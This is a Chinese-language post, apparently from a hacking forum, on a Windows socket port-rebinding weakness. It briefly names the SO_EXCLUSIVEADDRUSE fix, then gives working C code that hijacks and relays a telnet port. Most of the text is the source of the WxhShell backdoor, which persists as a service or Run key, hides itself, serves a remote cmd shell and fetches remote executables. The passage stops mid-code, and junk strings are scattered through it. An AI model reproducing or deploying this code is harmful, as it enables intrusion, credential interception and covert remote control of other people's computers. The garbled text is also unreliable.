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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 7KGb2V< t s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); i`Qa7 BP l% SL saddr.sin_family = AF_INET; _mk@1ft ay||yn: saddr.sin_addr.s_addr = htonl(INADDR_ANY); )#1!%aQ ? HNuffk bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ir>S\VT4 KX3A| 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 uix/O*^ 4\nGWi{2 这意味着什么?意味着可以进行如下的攻击: 9ZG:2ncdJ DajN1}] 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 _yX.Apv] ^16zZ* 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) h@'CmIZc LEe{fc?{ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 T$AVMVq @H3x51PT(m 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 -j2y#aP Jf0i$ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 l]#=I7 6 [Y?Y@x"MZ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ms!|a_H7r 6`G8 UDK>F 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Vp0_R9oQ ~R~.D #include LXsZk|IhM #include 61_-G#W #include M#-E #include }%jpqip DWORD WINAPI ClientThread(LPVOID lpParam); $duT'G, - int main() hQ!59 { >dJ~ WORD wVersionRequested; <%`Rku DWORD ret; ;"ESN)*|i WSADATA wsaData; +Mhk<A[s BOOL val; L|:CQ SOCKADDR_IN saddr; Ctn?O~u SOCKADDR_IN scaddr; FC6~V6R int err; C^;8M'8z0 SOCKET s; >;bym) SOCKET sc; Q<g>WNb int caddsize; =J]EVD
HANDLE mt; o)n)Z~ DWORD tid; 12hD*,A5j wVersionRequested = MAKEWORD( 2, 2 ); Rm79mh9 err = WSAStartup( wVersionRequested, &wsaData ); 8O(L;&h if ( err != 0 ) { Xdl
dUK[ printf("error!WSAStartup failed!\n"); W[a"&,okqO return -1; ~e]B[>PT } tg==Qgz saddr.sin_family = AF_INET; u*W! !(P/ (xWsyo(4 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Njr;Wa.r+ ]jn1T^D' saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); qsXkm4 saddr.sin_port = htons(23); Z!^>!'Z if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) z07&P;W!{ { p~=z)7%e' printf("error!socket failed!\n"); _u u&? <h return -1; +>;Ux1'@ } Q_!tn* val = TRUE; IGVq`Mxj //SO_REUSEADDR选项就是可以实现端口重绑定的 DTM(SN8R+n if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) TQNdBq5I6 { Scm45"wB+ printf("error!setsockopt failed!\n"); ZWGX*F#}P return -1; pU<J?cU8N } +r//8& //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; x=L"qC9f/ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 3D!7,@&>3 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 F?]J`F\I [g<gu~ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) p{W
Amly { pY3/AO= ret=GetLastError(); 5pDE!6gQ printf("error!bind failed!\n"); mwsBj) return -1; hCF_pt+ } qxAh8RR;/ listen(s,2); 2)\MxvfOh while(1) `v)'(R7){ { NB'G{),)Z caddsize = sizeof(scaddr); NS`hXf //接受连接请求 'nh2} sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 2Q]W if(sc!=INVALID_SOCKET) 'jE/Tre^ { f{O-\ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); )B&`<1Oie if(mt==NULL) YcwDNsk { l<4P">M!. printf("Thread Creat Failed!\n"); X(Mpg[,N" break; 66
R= } cr]b #z } ml^=y~J[ CloseHandle(mt); bx{njo1Mr }
dZf1iFCP closesocket(s); j7a}<\ WSACleanup(); \ >wQyz return 0; _=`DzudE } pCo3%( DWORD WINAPI ClientThread(LPVOID lpParam) J!6w9,T_ { LWhy5H;Es SOCKET ss = (SOCKET)lpParam; m;rr7{7X SOCKET sc; -}j(_]t unsigned char buf[4096]; Nl,iz_2] SOCKADDR_IN saddr; !O`j long num; 3)o>sp)Ji$ DWORD val; WoB'B|% DWORD ret; )F&.0 ' //如果是隐藏端口应用的话,可以在此处加一些判断 4ME$Z>eN //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 ZnAQO3%y saddr.sin_family = AF_INET; c/^:vTF saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); <o3I<ci6 saddr.sin_port = htons(23); toPFkc6` if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ;vPFRiFK { BQ[R)o printf("error!socket failed!\n"); SEg{Gso9b return -1; j1->w8 } '-n
Iy$> val = 100; .mqMzV if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) :8}Qt^p { 3_boEYl0 ret = GetLastError(); Ei+lVLoC return -1; +/[Rvh5WZ } \8\TTkVSq if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) $6 Hf[(/ e { L>WxAeyu1K ret = GetLastError(); 62.Cq!~ return -1; a;U)#*(5|v } ?G~rYETvw if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) sm G?y~ { y,1U]1TP printf("error!socket connect failed!\n"); {2 T:4i5 closesocket(sc); *KiY+_8> closesocket(ss); Q hRj*, return -1; qM 1ZCt } 5?Q5cD2]\6 while(1) CK4#ZOiaa { d!Y%7LmSE@ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 U61
LMH //如果是嗅探内容的话,可以再此处进行内容分析和记录 Xa;wx3]t //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 a Iyzt num = recv(ss,buf,4096,0); 5"!K8
N
if(num>0) Mg8ciV}\xY send(sc,buf,num,0); 5S&Qj7kr else if(num==0) SJLs3iz_) break; Q;=4']hYU num = recv(sc,buf,4096,0); ngd4PN>{4 if(num>0) vmfFR send(ss,buf,num,0); d_Zj W else if(num==0) rAW7Zp~KK break; 67}8EV!/k } qQo*:3/]; closesocket(ss); (k"0/*F4_ closesocket(sc); iny/K/5bf return 0 ; Y4,p_6aKJ] } SbMRrWy gwg~4:W J?Q@f
========================================================== GvA4.s, <.BY=z=H 下边附上一个代码,,WXhSHELL TI"Ki$jC 0lYP!\J3]% ========================================================== ,?%Y*?v oHSDi #include "stdafx.h" .S=|ZP+ sMJa4P>O@ #include <stdio.h> G$Fo*;Fl #include <string.h> @ZV>Cl@%2 #include <windows.h> xZV|QVY; #include <winsock2.h> a #p`l>rx #include <winsvc.h> K@osD7- #include <urlmon.h> KiC,O7&< 7VkjnG^!: #pragma comment (lib, "Ws2_32.lib") n36@&q+B& #pragma comment (lib, "urlmon.lib") 33hP/p% J]48th0, #define MAX_USER 100 // 最大客户端连接数 yC|odX# #define BUF_SOCK 200 // sock buffer d=\\ik8 #define KEY_BUFF 255 // 输入 buffer fbah~[5} 2#UVpgX? #define REBOOT 0 // 重启 wn<k"6x #define SHUTDOWN 1 // 关机 kqC7^x cauKG@:2F #define DEF_PORT 5000 // 监听端口 B&*`A&^y NcSi %] #define REG_LEN 16 // 注册表键长度 w5Ucj*A\ #define SVC_LEN 80 // NT服务名长度 ~_-+Q=3 _71I9V& // 从dll定义API +tYskx/ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); /B{cL`< typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); :FS~T[C; typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ukD:4sv typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); /" &Jf}r \[B#dw# // wxhshell配置信息 |hu9)0P struct WSCFG { 9Z3Y, `R, int ws_port; // 监听端口 ^Ri
;
vM char ws_passstr[REG_LEN]; // 口令 T^X um2Ec int ws_autoins; // 安装标记, 1=yes 0=no }~<9*M-P char ws_regname[REG_LEN]; // 注册表键名 :%zA X char ws_svcname[REG_LEN]; // 服务名 #'y^@90R char ws_svcdisp[SVC_LEN]; // 服务显示名 D r6u0rx8 char ws_svcdesc[SVC_LEN]; // 服务描述信息 f2Tz5slE char ws_passmsg[SVC_LEN]; // 密码输入提示信息 5VLC\QgK^ int ws_downexe; // 下载执行标记, 1=yes 0=no >-CNHb char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" ~c>]kL(, char ws_filenam[SVC_LEN]; // 下载后保存的文件名 0IbR>zFg. {=y~O }; If@%^'^ON= R&L^+? // default Wxhshell configuration P"+K'B7K3 struct WSCFG wscfg={DEF_PORT, \!r,>P "xuhuanlingzhe", >#xIqxV, 1, TaTw,K|/ "Wxhshell", ~_4$|WKl "Wxhshell", E.Arq6 "WxhShell Service", 6
&MATMR "Wrsky Windows CmdShell Service", X]Ma:1+ "Please Input Your Password: ", >=L<3W1 1, I h 19&D " http://www.wrsky.com/wxhshell.exe", &8Oy *' "Wxhshell.exe" {UOR_Vt!* }; D{,
b|4 f9b[0L // 消息定义模块 Lq5Eu$;r char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 6vZ.CUK9 char *msg_ws_prompt="\n\r? for help\n\r#>"; 2?9gf,U char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; aK'%E3!~=x char *msg_ws_ext="\n\rExit.";
)9$>i5l char *msg_ws_end="\n\rQuit."; l Gy`{E| char *msg_ws_boot="\n\rReboot..."; ?\T):o;/ char *msg_ws_poff="\n\rShutdown..."; 4-\gha char *msg_ws_down="\n\rSave to "; U P e@> H=>;Mj char *msg_ws_err="\n\rErr!"; 9uA2M!~i2 char *msg_ws_ok="\n\rOK!"; ~HyqHxy /m+\oZ
]d char ExeFile[MAX_PATH]; *bTR0U int nUser = 0; Z3nmC-NE HANDLE handles[MAX_USER]; xrCb29{ int OsIsNt; pksF|VS W .bJ.hO* SERVICE_STATUS serviceStatus; '?v-o)X SERVICE_STATUS_HANDLE hServiceStatusHandle; |H@1g=q ?Y#x`DMh // 函数声明 V|zatMHs int Install(void); FaE,rzn)iD int Uninstall(void); !TdbD56 int DownloadFile(char *sURL, SOCKET wsh); i slg5 int Boot(int flag); IAa}F!6Q1 void HideProc(void); N\WEp?%~ int GetOsVer(void); vB T]a int Wxhshell(SOCKET wsl); bpWEF b'f void TalkWithClient(void *cs); Z{J{6j int CmdShell(SOCKET sock); S2EeC&-AR int StartFromService(void); d#]XyN> int StartWxhshell(LPSTR lpCmdLine); ^SH8*7l7 /qX=rlQ/ n VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); mtg3}etA VOID WINAPI NTServiceHandler( DWORD fdwControl ); j_2yTz"G- N T<>LWo // 数据结构和表定义 pSlosv(6 SERVICE_TABLE_ENTRY DispatchTable[] = MZInS:Vj { 9Jhc5G {wscfg.ws_svcname, NTServiceMain}, 5t&;>-A'?' {NULL, NULL} EvEI5/z }; V]$J&aD y&$v@]t1 // 自我安装 8KrqJN0\ int Install(void) \9GJa"xA` { op]HF4 char svExeFile[MAX_PATH]; /MUa
b*h HKEY key; {[%kn rRJ strcpy(svExeFile,ExeFile); :CJ]^v .G|9:b // 如果是win9x系统,修改注册表设为自启动 "TboIABp:H if(!OsIsNt) { u= u#6% if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )k}UjU`! RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "<y0D!& RegCloseKey(key); vw/L|b7G if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7P$>T RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `swf~ RegCloseKey(key); #nOS7Q#uW return 0; WG0Ne;Ho } ClvqI"Rd } ?onTW2cG; } -U"h3Ye^ else { A/zZ%h )Kw
Gb&l& // 如果是NT以上系统,安装为系统服务 %3r`EIB6 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ]a}K%D)H if (schSCManager!=0) a*4l!-7 { 'nO%1BZj+ SC_HANDLE schService = CreateService "ApVgNB ( 18xT2f schSCManager, =83FCq" wscfg.ws_svcname, C;C= g1I} wscfg.ws_svcdisp, <FfdOK_ SERVICE_ALL_ACCESS,
Pq@%MF]5 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , cn~M:LW23 SERVICE_AUTO_START, Xj^Hy"HC^~ SERVICE_ERROR_NORMAL, tXgsWG?v[H svExeFile, &u@<0 1= NULL, ~$O.KF: NULL, +l "z NULL, P'dH*}H NULL, /kLG/ry8l: NULL C{r Sq ); 9mEt**s
Ur if (schService!=0) iIe\m V { g=T
!fF= CloseServiceHandle(schService); ZT\=:X*e CloseServiceHandle(schSCManager); M:4N'#` strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
c%N8|!e strcat(svExeFile,wscfg.ws_svcname); e95x,|.-_ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { BO3#*J5S\ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); a=m7pe^ RegCloseKey(key); _.ny<r:g return 0; =Qa*-* } COF_a% } jI-\~ CloseServiceHandle(schSCManager); a2{nrGD } [M7& } LZ97nvK o:E_k#Fi return 1; w _*|u } -W^jmwM : " ([i" // 自我卸载 f^tCD'Vmi int Uninstall(void) *5\k1-$ { !yo/ F&6 HKEY key; h;^H*Y&` <rO0t9OH if(!OsIsNt) { @435K'! if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `eF&|3!IYQ RegDeleteValue(key,wscfg.ws_regname); F)W7,^=X>- RegCloseKey(key); jK[~dY if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { dW32O2@- RegDeleteValue(key,wscfg.ws_regname); E!~Ok RegCloseKey(key); 9rB,7%@EL return 0; Qj?qWVapA } U_ -9rkUa } b
V)mO@N~w } $yZ(c#L else { 7+,6m!4 -|?I'~[#( SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); muAI$IRR if (schSCManager!=0) 5$v,%~$Xds { y?ps+ce93 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); J?yNZK$WqN if (schService!=0) \m>mE/N { k *a?Ey$ if(DeleteService(schService)!=0) { B=>:w%<Ii CloseServiceHandle(schService);
h:[8$] CloseServiceHandle(schSCManager); Fp)+>oT return 0; <Ae1YHUY } b'D|p/)m0S CloseServiceHandle(schService); ?r~|B/] } m+f?+c6 CloseServiceHandle(schSCManager); ICJp- } '7+e!>" } `
>w4G|{ 6;LM1
_ return 1; uxGY/Zf } 2:31J4t-< .RI{\ i` // 从指定url下载文件 Js`xTH' int DownloadFile(char *sURL, SOCKET wsh) c.-/e u^| { j}0W|* HRESULT hr; IZ<d~ [y char seps[]= "/"; mkA1Sh{hX> char *token; o%!8t_1mR char *file; +=XDNSw char myURL[MAX_PATH]; k`LoRqF char myFILE[MAX_PATH]; [n[!RddY ZnX]Q+w strcpy(myURL,sURL); X[Lwx.Ly8 token=strtok(myURL,seps); E%R^
kqqr while(token!=NULL) ^8,Y1r9`$ { \DP*?D_}? file=token; @yBg)1AL token=strtok(NULL,seps); Tgpf0( } F9hh- "(Z bB|UQaCl GetCurrentDirectory(MAX_PATH,myFILE); TM|M#hMS strcat(myFILE, "\\"); K~j&Q{yws@ strcat(myFILE, file); LX%K*nlj send(wsh,myFILE,strlen(myFILE),0); A!([k}@=j send(wsh,"...",3,0); o80"ZU|= hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); /~w!7n<7 if(hr==S_OK) W/(D"[:l% return 0; ()< E?D= else YCJ6an return 1; 4!'1o`8vs % D]vKv~< } zEG6T * -E6#G[JJ // 系统电源模块 "62vwWrwO int Boot(int flag) sV8}Gv
a { <a)B5B> HANDLE hToken; ^;";fr
Vw TOKEN_PRIVILEGES tkp; o,| LO$~ l(-We.:( if(OsIsNt) { 3F5Y#[L` OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 72hN%l LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); uFseO9F.2 tkp.PrivilegeCount = 1; Kjw4,z%\94 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; <eU1E}BDQ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); kA`Z#yu if(flag==REBOOT) { OE{{,HFa`G if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) d~bZOy return 0; ?hpT"N,hF9 } x-wIgo+ else { wul$lJ?tE if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) F`/-Q>Q return 0; lHRs3+ } v'R{lXE } qPh
@Bl3 else { 81m3j`b if(flag==REBOOT) { iFJ2dFA if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 8v$2*$ return 0; |Z]KF>S] } *&WkorByW else { !Zowe*` if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) !Tc
jJ2T return 0; []i/\0C^ } #6t 4 vJ1 } bYPkqitqz
bsfYz return 1; =NHE_4/p } f`ro{p ,g69 ?w // win9x进程隐藏模块 T1$fu(f void HideProc(void) nWfzwXP>_ { L<t>o":o st-
z>} HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); $Hw
w if ( hKernel != NULL ) ,;3bPjey { vY 0EffZ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); w=NM==cLj ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); I5nxY)v FreeLibrary(hKernel); e"Y ( 7< } [
B{F(~O L/ L#[ return; &a;{ed1B } Dno]N b 7XTOB_HO // 获取操作系统版本 :B^YK]. int GetOsVer(void) lN(|EI { XmZs4~\K$G OSVERSIONINFO winfo; pZE}<EX winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); *B4?(&0 GetVersionEx(&winfo); \ltbiDP2 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) `w&A;fR!H return 1; 0W_olnZ else O/XG}G.x| return 0; _4#Mdnh}[ } ZVelKI8> ~U;M1> // 客户端句柄模块 aru;yR int Wxhshell(SOCKET wsl) v}cTS@0 { c-jE1y< SOCKET wsh; #&k`-@b5| struct sockaddr_in client; D`Cy]j DWORD myID; YW14X 9QXBz=Fnf while(nUser<MAX_USER) D'8xP %P { /` ;rlH* int nSize=sizeof(client); WMw|lV r wsh=accept(wsl,(struct sockaddr *)&client,&nSize); +6~y1s/B[ if(wsh==INVALID_SOCKET) return 1; T1-.+&< |e QwI& handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); euMJ c if(handles[nUser]==0) op2<~v0? closesocket(wsh); We`6# \Z X else $etw'c0 nUser++; XLgp.w; } n8+_Uww WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); (y^svXU}a p!o?2Lbiw return 0; 5y~Srb?2 } 9Ai3p z%q)}$O // 关闭 socket Q)/oU\ void CloseIt(SOCKET wsh) &*Z"r* { WHy
r;m3) closesocket(wsh); vNDf1B5z nUser--; A4tb>OM ExitThread(0); `C&@6{L } o)L)| 'PvOOhm, // 客户端请求句柄 4T>d%Tt+) void TalkWithClient(void *cs) 9 gc0Ri[4m { Ods~tM `'E(L& SOCKET wsh=(SOCKET)cs; u.@B-Pf[Eo char pwd[SVC_LEN]; "oT&KW char cmd[KEY_BUFF]; zq'KX/o char chr[1]; %BwvA_T'Q int i,j; XY,!vLjL xU F5
while (nUser < MAX_USER) { 4*&2D-8<K v;nnr0; if(wscfg.ws_passstr) { <u}[_ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -KL5sK //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); a|-ozBFR //ZeroMemory(pwd,KEY_BUFF); ?&JKq^9\I i=0; EX/{W$
&K while(i<SVC_LEN) { pS~=T}o bMB@${i} // 设置超时 +F92_a4 fd_set FdRead; r]deVd G struct timeval TimeOut; G.~Ffk FD_ZERO(&FdRead); ID~}pEQ FD_SET(wsh,&FdRead); 6J<R;g23R] TimeOut.tv_sec=8; S@@#L TimeOut.tv_usec=0; !>?*gc.< int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); tfdb9#&? if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Z_4|L+i<{ .naSK`J,` if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8'Iei78Ov pwd =chr[0]; eWr2UXv$ if(chr[0]==0xd || chr[0]==0xa) { pwVaSnre` pwd=0; T*%O\&'r break; {Fvl7Sh } PU-L,]K i++; bAEwjZ } ^|(VI0KO +ZR>ul-c // 如果是非法用户,关闭 socket +t8#rT ^B if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Prrz> } WJ/X`?k S])*LUi send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); A$n: send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Uka(Vr: ?>NX}~2cf while(1) { 8M,$|\U _q}^#- ZeroMemory(cmd,KEY_BUFF); U^kk0OT^ mZ g' // 自动支持客户端 telnet标准 sZ0)f!aH:_ j=0; Y/f8rN while(j<KEY_BUFF) { GHQm$|3I if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Yv3P]6c. cmd[j]=chr[0]; Ap> H-/C if(chr[0]==0xa || chr[0]==0xd) { lL,0IfC, cmd[j]=0; ,4r 4 < break; :464~tHI[` } "(iQ-g Mm j++; 6('CB|ga } v?l*jr1-2 LC qWL1 // 下载文件 2LS91 if(strstr(cmd,"http://")) { <CWOx&hr send(wsh,msg_ws_down,strlen(msg_ws_down),0); 19i=kdH if(DownloadFile(cmd,wsh)) 6M[OEI5 send(wsh,msg_ws_err,strlen(msg_ws_err),0); U.1&'U* else QzY5S0 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ITZ}$=
} }^`5$HEi else { 8Rnq
&8A ZeH=]G4Zv7 switch(cmd[0]) { /}(\P@Z VP^{-mDph // 帮助 HBZtg case '?': { {w]L'0ES[ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); SKo*8r break; @eP(j@(^ } ]3
76F7 // 安装 |5*:ThC[ case 'i': { D 1(9/;9 if(Install()) _+<AxE9\ send(wsh,msg_ws_err,strlen(msg_ws_err),0); G%T<wKD< else {"_V,HmEF+ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1$ENNq#0 break; *rC%nmJwk! } 7e H j"_; // 卸载 e'~<uN> case 'r': { ZFtN~Tg if(Uninstall()) =91f26c!~ send(wsh,msg_ws_err,strlen(msg_ws_err),0); 70Ei< else ;W3c|5CE send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7lAn GP.; break; ?$=Ml$ } US&:UzI. // 显示 wxhshell 所在路径 |al'_s}I case 'p': { 'E cd\p char svExeFile[MAX_PATH]; j:0<
tjE strcpy(svExeFile,"\n\r"); o:@A% *jg strcat(svExeFile,ExeFile); X`7O%HiX/` send(wsh,svExeFile,strlen(svExeFile),0); ES5a`"H break; &_3o 1< } #^w8Y'{? // 重启 1t7T\~+F case 'b': { hmv*IF. send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Sv[+~co<l if(Boot(REBOOT)) GX N:= send(wsh,msg_ws_err,strlen(msg_ws_err),0); M2M&L,/O else { 7/bF04~% closesocket(wsh); @Dd3mWKq ExitThread(0); on f7V } C{YTHNn break; 8zpTCae^=7 } z*WQ=l2 // 关机 6g"qwWZp case 'd': { nW ]T-! send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); #ihHAiy3 if(Boot(SHUTDOWN)) D`PA@t send(wsh,msg_ws_err,strlen(msg_ws_err),0); >x${I`2w else { _j]vR closesocket(wsh); \m+;^_;5GW ExitThread(0); df9$k0Fx } 8-)@q| break; 0fx.n } .;37 e // 获取shell 78E<_UgcB case 's': { )"s(;kU! CmdShell(wsh); cN|
gaL closesocket(wsh); Sp@{5 ExitThread(0); ~.Cu,>fV break; 27UnH: = } 3NrWt2? // 退出 -aIB_ case 'x': { 4M>E QF& send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^ ]SU (kY CloseIt(wsh); yu=(m~KX
break; BtKbX)R$J } _8OSDW*D5t // 离开 p;LF-R case 'q': { }z_7?dn/ send(wsh,msg_ws_end,strlen(msg_ws_end),0); nPjN\Es6 closesocket(wsh); L_fiE3G|> WSACleanup(); +qmV|$rmM exit(1); %~qY\> break; RGLi#:0_.x } ASaNac-3 } ?yAjxoE~? } +'9eo%3O G4)X~.Fy // 提示信息 ` MXGEJF if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7
JVonruaR } P6;Cohfh } R TeG\U .$"69[1H return; m/NXifi8l } IoWK 8x M l9 // shell模块句柄 4z!(!J) int CmdShell(SOCKET sock) Bc51
0I$c { w&LL-~KI+ STARTUPINFO si; *gN)a%9 ZeroMemory(&si,sizeof(si)); rfhvd wwD si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; x-@6U si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; LArfX,x3i PROCESS_INFORMATION ProcessInfo; |BA<> WE char cmdline[]="cmd"; r#/Bz5Jb* CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); .l~g`._ return 0; xi"Ug41) } y`-5/4 o'p[G]NQ1o // 自身启动模式 "QCVi R int StartFromService(void) 1<3! { Y(P<9m: typedef struct KZ/2#` { N!^5<2z@eT DWORD ExitStatus; ?$AWY\ DWORD PebBaseAddress; /S&8%fb DWORD AffinityMask; 2~2j?\AEd. DWORD BasePriority; hS+R/7 ULONG UniqueProcessId; %%f(R7n ULONG InheritedFromUniqueProcessId; {A MoE+U } PROCESS_BASIC_INFORMATION; -K%~2M< @2)ImgK[ PROCNTQSIP NtQueryInformationProcess; 7NDjXcuq qn|~z@" static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; .3,6Oo static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Z;nUS,?om <Z8^.t)| HANDLE hProcess; 1PjqXgN5p PROCESS_BASIC_INFORMATION pbi; 2x dN0S yaKw/vV HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Hnc<)_DF if(NULL == hInst ) return 0; c9)5G+
